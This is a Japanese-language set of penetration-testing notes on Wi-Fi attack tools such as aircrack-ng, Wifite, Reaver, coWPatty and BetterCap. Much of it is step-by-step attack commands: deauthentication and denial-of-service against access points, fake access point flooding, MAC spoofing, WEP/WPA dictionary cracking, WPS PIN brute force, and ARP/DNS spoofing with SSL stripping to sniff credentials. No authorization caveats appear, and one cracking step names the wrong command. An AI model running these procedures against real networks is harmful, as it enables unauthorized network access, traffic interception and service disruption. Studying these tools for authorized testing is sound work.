2. Wifi攻撃のツールの使用方法

Wifiの攻撃ルールの紹介

2.1. AirCrack-ng

2.1.1. AirCrack-ngとは

Aircrack-ngはワイヤレスネットワークのセキュリティテストおよび解析を行うためのCLIツール。 Kali Linuxに標準搭載されている。 主にワイヤレスネットワークのセキュリティ強化と脆弱性診断に使用される。

具体的にはIEEE802.11のWEP/WPA-PSKキーのクラッキングが行える。

公式ドキュメント:https://www.aircrack-ng.org/doku.php

可能なことや特徴は以下の通り。

  • パスワードクラッキング
    • WEP/WPA/WPA2などのWIFI暗号化キーを解読する事が可能
  • ハンドシェイクキャプチャ
    • ワイヤレスネットワークのハンドシェイクトラフィックをキャプチャしそれを解析することが可能
  • スニッフィング
    • ワイヤレスネットワーク上のトラフィックをキャプチャし分析することが可能。
  • 無線ネットワークのテスト
    • 無線ネットワークの脆弱性をテストが可能

2.1.2. AirCrackの関連コマンド

公式ドキュメントはコチラから。

iwconfigコマンド(AirCrack搭載ではない)

無線LANインタフェースの参照・設定などができるLinuxシェル。

公式ドキュメント: https://linux.die.net/man/8/iwconfig

iwconfig # ネットワークアダプタ一覧の確認
iwconfig <インターフェイス> # インターフェイスの状態確認
iwconfig <インターフェイス> mode < managed | moniter > # モード切替え

airmon-ngコマンド

モニターモードを扱うためのコマンドレット。

airmon-ng <start|stop> <interface> [channel] or airmon-ng <check|check kill>

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airmon-ng

airmon-ng check # airmon-ng へ影響を与える全プロセスの確認
airmon-ng check kill # airmon-ng へ影響を与える全プロセスの強制終了
airmon-ng start <インターフェイス> # モニターモードの開始
airmon-ng stop <インターフェイス>mon # モニターモードの無効化

NetworkManager等のネットワーク管理プロセスが立ち上がっている場合、airmon-ng の動作が阻害されることがある。 そのための確認などを行う時に使用する。なおすべて停止させるにはairmon-ng check killを行う。

airodump-ngコマンド

パケットキャプチャ/スニッフィングに使用されるコマンドレット。

airodump-ng <options> <interface>[,<interface>,...]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airodump-ng

airodump-ng <インターフェイス> # 無線状況の確認などができる
airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon # wlanをモニターモードでチャンネル6のBSSID 00:~をtest-psk.capにパケットキャプチャし書き込む

aircrack-ngコマンド

WEP および WPA/WPA2-PSK キークラッキングプログラム実行用コマンドレット。

aircrack-ng [options] <capture file(s)>

# WPA/WPA2の辞書攻撃
aircrack-ng -w [wordlist] [pcap]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=aircrack-ng

airbase-ngコマンド

偽のアクセスポイントを設定するコマンドレット。

airdecap-ngコマンド

WEP/WPA/WPA2の暗号化を解くためのコマンドレット。

aireplay-ngコマンド

パケットインジェクションを行うためのコマンドレット。

aireplay-ng -9 <インターフェイス>

# Deauth(認証解除攻撃)をMACアドレスのアクセスポイントに実行
# Essidの非表示のAPの表示化に使える
aireplay-ng -0 20 -a [MACアドレス] [インターフェイス]

2.1.3. AirCrack-ngの使い方

ESSIDが非表示のネットワークを見る方法

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数] -a [BSSID] wlan0mon

MACアドレスの偽装(macchanger)

MACアドレスの偽装例は以下の通り。 なおMACアドレスは偽装しても再起動後にデフォルトのMACアドレスに戻る。

ifconfig wlan0 down
macchanger -r wlan0
macchanger -m [偽装MAC] wlan0
ifconfig wlan0 up

アクセスポイントに対するDoS攻撃

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数(膨大)] -a [BSSID] wlan0mon

沢山の偽のアクセスポイント

mdk3 wlan0mon b -c [チャンネル] -f [ESSIDの名前リストファイル]

WEPに対する攻撃

2.8. 具体的な攻撃手法を参照。

2.2. coWPatty

2.2.1 coWPattyとは

coWPattyはワイヤレスネットワークのセキュリティを解析するための静的解析ツールの一つ。 具体的には、WPAおよびWPA2暗号化を使用して保護されているWi-Fiネットワークのパスワードを解析しようとするために使用できる。

このツールは、WPA/WPA2のパスワードをブルートフォース攻撃で求めるように設計されている。 そのため解析に非常に時間がかかる場合がある。しかし強力なコンピュータリソースや事前に収集したハンドシェイクキャプチャデータを使用することで、効果的にWPA/WPA2のパスワードを解析することができる。

2.2.2. coWPattyの関連コマンド

公式ドキュメントはコチラから。

2.3. Reaver

2.3.1. Reaverとは

ReaverはWIFiアクセスポイントへのWPSピン攻撃をブルートフォースで実行するツール。

https://github.com/t6x/reaver-wps-fork-t6x

2.4. Pixiwps

2.3.2. Pixiwpsとは

PixeWPS は、WPSトランザクション中にキー交換を総当たり攻撃するツール。

2.5. Wifite

2.5.1. Wifiteとは

Wifiteはターミナルからコマンドを使用して無線LANへのペネトレーションテストを行うツール。 特徴は以下の通り。

  • WLANのスキャンと暗号化方式、信号強度などの情報取得
  • Wi-Fiネットワークをスキャン、脆弱性を見つけるプロセスの自動化
  • WEP、WPA、WPA2、WPSへの攻撃サポート
  • ブルートフォースアタック、WPSピン攻撃、辞書攻撃へのサポート

Wifiteのコマンド

基本形は以下の通り。

wifite <オプション>
オプション説明
-hヘルプ
-vその他のオプション表示
-i <インターフェイス>使用するインターフェイスの指定
-c <チャンネル>スキャンするチャンネルの指定
-inf無限攻撃モードの有効化
-macワイヤレスカードのMACアドレスをランダム化
-p <スキャン時間(s)>スキャン時間の後にすべてのターゲットを攻撃する
-killAirmon/Airodumpと競合するプロセスをキルする
-pow <最低シグナル強度>最低シグナル強度以上の以上の信号強度を持つターゲットを攻撃
-skip-crackキャプチャーされたハンドシェイク/pmkidのクラッキングをスキップする
-first <ターゲット>最初のターゲットを攻撃する
-clients-only関連するクライアントを持つターゲットのみを表示
-nodeauthsパッシブモード。クライアントの認証を解除しない
-daemon終了後、デバイスをマネージドモードに戻す
オプション説明
WEP
-wepWEPで暗号化されたネットワークのみを表示
-require-fakeauthfake-authが失敗した場合、攻撃を失敗させる
-keep-ivs.IVSファイルを保持し、クラック時に再利用する
WPA
-wpaWPAで暗号化されたネットワークのみを表示(WPS含む)
-new-hs新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する
-dict <ファイル>クラッキング用のパスワードを含むファイル指定
WPS
-wpsWPS対応のネットワークのみを表示
-wps-onlyWPS PINとPixie-Dust攻撃のみを使用
-bullyWPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用
-reaverWPS PINおよびPixie-Dust攻撃にreaverプログラムを使用
-ignore-locksAPがロックされてもWPS PIN攻撃を停止しない
PMKID
-pmkidPMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避する
-no-pmkidPMKIDキャプチャーを使用しない
-pmkid-timeout <秒>PMKID capturevを待つ時間の指定
COMMANDS
-cracked今まで割れていたアクセスポイントを表示する
-check <ファイル(hs/*.cap)>.capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックする
-crackキャプチャしたハンドシェイクをクラックするコマンドを表示

Wifiteの基本的な使い方

  1. wifiteの実行
  2. ターゲットのアクセスポイントが表示されたらCtrl+Cで停止する
  3. ターゲットのアクセスポイントの番号をCUI上に入力する
  4. パスワードクラシックの開始(時間(数時間)がかかる場合あり)

2.6. fern Wifi Cracker

fern Wifi CrackerはPythonで書かれたWIFIセキュリティ監査/ペネトレーションテスト用のGUIプログラム。 WEP/WPA/WPSキーのクラックとWLAN/Ethernetネットワークに対する攻撃が可能

特徴は以下の通り。

  • フラグメンテーション,ChipChop,Caferate,ARPリクエストリプレイ,WPS攻撃によるWPSクラッキングの対応
  • 辞書/WPSベースのWPA/WPA2への攻撃
  • クラッキングの成功時の鍵のデータベース自動保存
  • 自動AP攻撃の実行
  • ブルートフォースアタックの対応

2.7. BetterCap

Wi-Fi、BLE、ワイヤレスデバイス、イーサネットに対してスキャンやクラッキングを行うことのできるツール。 中間者攻撃を検証する際に利用できる。特徴は以下の通り。

https://www.bettercap.org/intro/

  • ARPスプーフィング、DNSスプーフィング、DHCPv6スプーフィング
  • JavaScriptプラグインで拡張可能なHTTP/HTTPSなどのプロキシ機能
  • クレデンシャル収集のためのネットワークスニファ機能
  • ポートスキャン機能
  • Wi-FiやBLEに対するスキャンやクラッキングの機能

基本的な使い方

起動

# BetterCapの利用
sudo bettercap -iface [インターフェース]

# 攻撃対象の確認(ARPテーブルの情報を表示)
net.show
# サブネット内の全IPアドレスに対してARPリクエストをブロードキャストする
net.probe [on | off]

ARPスプーフィング

## ARPスプーフィングの開始
set arp.spoof.fullduplex true
set arp.spoof.targets [IPアドレス]
arp.spoof [on | off]
# ARPスプーフィング開始後はWiresharkで通信を確認する

DNSスプーフィング

DNSスプーフィングのためにはどのドメイン名に対してどのIPアドレスに誘導するかを設定する必要がある。 方法は以下の2通り

  • インタラクティブシェル上からdns.spoof.addressdns.spoof.domainsを設定する方法
  • ドメイン名とIPアドレスを記述したファイルをあらかじめ作成してdns.spoof.hostsに読み込ませる方法

1番目の方法を解説。

set dns.spoof.domains [ドメイン名],[ドメイン名]...
set dns.spoof.address [IPアドレス]
set dns.spoof.all true
dns spoof [on|off]

2番目の方法を解説。

  1. spoof.hostsを作成(www.google.comなど書く)
  2. set dns.spoof.hosts ./[ファイル名]で設定を読み込む
  3. get dns.spoof.hostsで設定を確認
  4. dns spoof [on|off]でDNSスプーフィングを実行

透過型HTTPプロキシ

なお以下コマンドで建てた透過型プロキシではほとんどの場合は、httpsに対応したいサイトではHSTSが検知してしまう。

set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets [IPアドレス]
arp.spoof on
http.proxy on
net.sniff on
SSLストリッピングとHSTSバイパスを行うHTTPプロキシ

以下手法ではSSLにおいてWWWからサブドメインが始まるURLのほとんどにTLS化が行われていることを利用して、ターゲットのFDQNをwwwからwwwwに変更を行い、名前解決をBettrecap側で行わせるものとなる。

sudo bettercap -I [インターフェイス] -X --gateway [ルータのIPアドレス] --target [IPアドレス] --proxy --parsers POST

2.8. 具体的な攻撃手法

2.8.1. WEPに対する攻撃 (airmon-ngの使用)

攻撃の種類はWEPキーの解読となる。 なお、攻撃対象はAPと端末が通信している必要がある

また途中で解析が止まった場合は以下の可能性がある。

  • パケット解析結果が少ない
  • 対象ルータへのアクセスが少ない

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng

攻撃手段

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
    • sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間):※Dataが多くたまる必要あり
  2. sudo airodump-ng <作成したいパケットファイル名>-01.capでパスワード解析開始(時間がかかる)

2.8.2. WPAに対する辞書攻撃 (fern Wifi Crackerの使用)

攻撃には辞書データが必要

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • fern Wifi Cracker
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. fern Wifi Crackerの起動
  2. 使用するWIFIアダプタを選択しrefreshを行う
  3. Tips-Scan settingの画面でokを押す
  4. Wifi WPAボタンを押す
  5. ターゲットのネットワーク名を選択する
  6. 左下のBrowseボタンで辞書ファイルを選択
  7. Attackボタンで攻撃を開始する

2.8.3. WPA2-PSKに対する辞書攻撃 (airmon-ng, cowpatty, genpmkの使用)

この攻撃は辞書攻撃となるため攻撃には辞書データが必要。 なお攻撃対象はAPと端末が通信している必要がある

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng
    • genpmk
    • cowpatty
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
    • sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間)
  2. レインボテーブルの作成
    • genpmk -f <辞書ファイル> -d <作成したいレインボテーブル名> -s <任意のSSID名>でレインボテーブルの作成
  3. レインボテーブルによるパスワード解析
    • cowpatty -r <パケットキャプチャファイル(.cap)> -d <作成したレインボテーブル> -s <任意のSSID名>によりパスワード算出

2.8.4. WPSに対するWPSピン攻撃 (reaverの使用)

この攻撃はWPSピン攻撃となるため攻撃にはルータがWPSに対応している必要がある。 なお攻撃に時間がかかる場合がある。

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • reaver

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
  2. 脆弱なWPSが実装されたAPを見つける
    • wash -i <インターフェイス>monで脆弱なWPS実装を見つけBSSID/チャンネルを記録する
  3. Reaverを起動しブルートフォースアタックを開始する
    • reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vvにより攻撃開始
  4. もしWPS PIN を取得出来たらそれをメモし以下コマンドでWPAキーを取得する
    • reaver -i <インターフェイス>mon -b <BSSID> -vvNwL -c 1 -p <PIN>

なお3フェーズにおいてうまく行かなかった場合、reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv -L -N -d 15 -T .5 -r 3:15のように高度なオプションを装備してReaverがうまく攻撃できるようにできる。 オプションは以下の通り。

  • -L … ロックされたWPS状態の無視
  • -N … エラー検出後NACKパケットを送信しない
  • -d 15 … PINの試行間隔の設定(15s)
  • -T .5 … タイムアウト期間の設定(0.5s)
  • -r 3:15 … 3回の試行後15秒スリープ
  • -K … ピクシーダスト攻撃の有効化(Ralink・Broadcom・Realtek各社の無線LANチップに有効)
最終更新 2025.01.19: Added ss command (683d062)